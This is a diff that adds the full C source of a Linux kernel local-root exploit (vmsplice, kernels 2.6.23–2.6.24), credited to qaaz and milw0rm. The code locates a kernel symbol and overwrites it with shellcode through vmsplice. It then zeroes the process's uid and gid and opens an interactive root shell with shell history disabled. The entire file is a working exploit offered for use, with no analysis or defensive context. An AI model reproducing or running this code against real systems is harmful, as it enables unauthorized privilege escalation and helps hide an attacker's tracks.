|
| 1 | +/* |
| 2 | + * diane_lane_fucked_hard.c |
| 3 | + * |
| 4 | + * Linux vmsplice Local Root Exploit |
| 5 | + * By qaaz |
| 6 | + * |
| 7 | + * Linux 2.6.23 - 2.6.24 |
| 8 | + */ |
| 9 | +#define _GNU_SOURCE |
| 10 | +#include <stdio.h> |
| 11 | +#include <errno.h> |
| 12 | +#include <stdlib.h> |
| 13 | +#include <string.h> |
| 14 | +#include <unistd.h> |
| 15 | +#include <sys/uio.h> |
| 16 | + |
| 17 | +#define TARGET_PATTERN " sys_vm86old" |
| 18 | +#define TARGET_SYSCALL 113 |
| 19 | + |
| 20 | +#ifndef __NR_vmsplice |
| 21 | +#define __NR_vmsplice 316 |
| 22 | +#endif |
| 23 | + |
| 24 | +#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) |
| 25 | +#define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4) |
| 26 | + |
| 27 | +#define TRAMP_CODE (void *) trampoline |
| 28 | +#define TRAMP_SIZE ( sizeof(trampoline) - 1 ) |
| 29 | + |
| 30 | +unsigned char trampoline[] = |
| 31 | +"\x8b\x5c\x24\x04" /* mov 0x4(%esp),%ebx */ |
| 32 | +"\x8b\x4c\x24\x08" /* mov 0x8(%esp),%ecx */ |
| 33 | +"\x81\xfb\x69\x7a\x00\x00" /* cmp $31337,%ebx */ |
| 34 | +"\x75\x02" /* jne +2 */ |
| 35 | +"\xff\xd1" /* call *%ecx */ |
| 36 | +"\xb8\xea\xff\xff\xff" /* mov $-EINVAL,%eax */ |
| 37 | +"\xc3" /* ret */ |
| 38 | +; |
| 39 | + |
| 40 | +void die(char *msg, int err) |
| 41 | +{ |
| 42 | + printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); |
| 43 | + fflush(stdout); |
| 44 | + fflush(stderr); |
| 45 | + exit(1); |
| 46 | +} |
| 47 | + |
| 48 | +long get_target() |
| 49 | +{ |
| 50 | + FILE *f; |
| 51 | + long addr = 0; |
| 52 | + char line[128]; |
| 53 | + |
| 54 | + f = fopen("/proc/kallsyms", "r"); |
| 55 | + if (!f) die("/proc/kallsyms", errno); |
| 56 | + |
| 57 | + while (fgets(line, sizeof(line), f)) { |
| 58 | + if (strstr(line, TARGET_PATTERN)) { |
| 59 | + addr = strtoul(line, NULL, 16); |
| 60 | + break; |
| 61 | + } |
| 62 | + } |
| 63 | + |
| 64 | + fclose(f); |
| 65 | + return addr; |
| 66 | +} |
| 67 | + |
| 68 | +static inline __attribute__((always_inline)) |
| 69 | +void * get_current() |
| 70 | +{ |
| 71 | + unsigned long curr; |
| 72 | + __asm__ __volatile__ ( |
| 73 | + "movl %%esp, %%eax ;" |
| 74 | + "andl %1, %%eax ;" |
| 75 | + "movl (%%eax), %0" |
| 76 | + : "=r" (curr) |
| 77 | + : "i" (~8191) |
| 78 | + ); |
| 79 | + return (void *) curr; |
| 80 | +} |
| 81 | + |
| 82 | +static uint uid, gid; |
| 83 | + |
| 84 | +void kernel_code() |
| 85 | +{ |
| 86 | + int i; |
| 87 | + uint *p = get_current(); |
| 88 | + |
| 89 | + for (i = 0; i < 1024-13; i++) { |
| 90 | + if (p[0] == uid && p[1] == uid && |
| 91 | + p[2] == uid && p[3] == uid && |
| 92 | + p[4] == gid && p[5] == gid && |
| 93 | + p[6] == gid && p[7] == gid) { |
| 94 | + p[0] = p[1] = p[2] = p[3] = 0; |
| 95 | + p[4] = p[5] = p[6] = p[7] = 0; |
| 96 | + p = (uint *) ((char *)(p + 8) + sizeof(void *)); |
| 97 | + p[0] = p[1] = p[2] = ~0; |
| 98 | + break; |
| 99 | + } |
| 100 | + p++; |
| 101 | + } |
| 102 | +} |
| 103 | + |
| 104 | +int main(int argc, char *argv[]) |
| 105 | +{ |
| 106 | + int pi[2]; |
| 107 | + long addr; |
| 108 | + struct iovec iov; |
| 109 | + |
| 110 | + uid = getuid(); |
| 111 | + gid = getgid(); |
| 112 | + setresuid(uid, uid, uid); |
| 113 | + setresgid(gid, gid, gid); |
| 114 | + |
| 115 | + printf("-----------------------------------\n"); |
| 116 | + printf(" Linux vmsplice Local Root Exploit\n"); |
| 117 | + printf(" By qaaz\n"); |
| 118 | + printf("-----------------------------------\n"); |
| 119 | + |
| 120 | + if (!uid || !gid) |
| 121 | + die("!@#$", 0); |
| 122 | + |
| 123 | + addr = get_target(); |
| 124 | + printf("[+] addr: 0x%lx\n", addr); |
| 125 | + |
| 126 | + if (pipe(pi) < 0) |
| 127 | + die("pipe", errno); |
| 128 | + |
| 129 | + iov.iov_base = (void *) addr; |
| 130 | + iov.iov_len = TRAMP_SIZE; |
| 131 | + |
| 132 | + write(pi[1], TRAMP_CODE, TRAMP_SIZE); |
| 133 | + _vmsplice(pi[0], &iov, 1, 0); |
| 134 | + |
| 135 | + gimmeroot(); |
| 136 | + |
| 137 | + if (getuid() != 0) |
| 138 | + die("wtf", 0); |
| 139 | + |
| 140 | + printf("[+] root\n"); |
| 141 | + putenv("HISTFILE=/dev/null"); |
| 142 | + execl("/bin/bash", "bash", "-i", NULL); |
| 143 | + die("/bin/bash", errno); |
| 144 | + return 0; |
| 145 | +} |
| 146 | + |
| 147 | +// milw0rm.com [2008-02-09] |
0 commit comments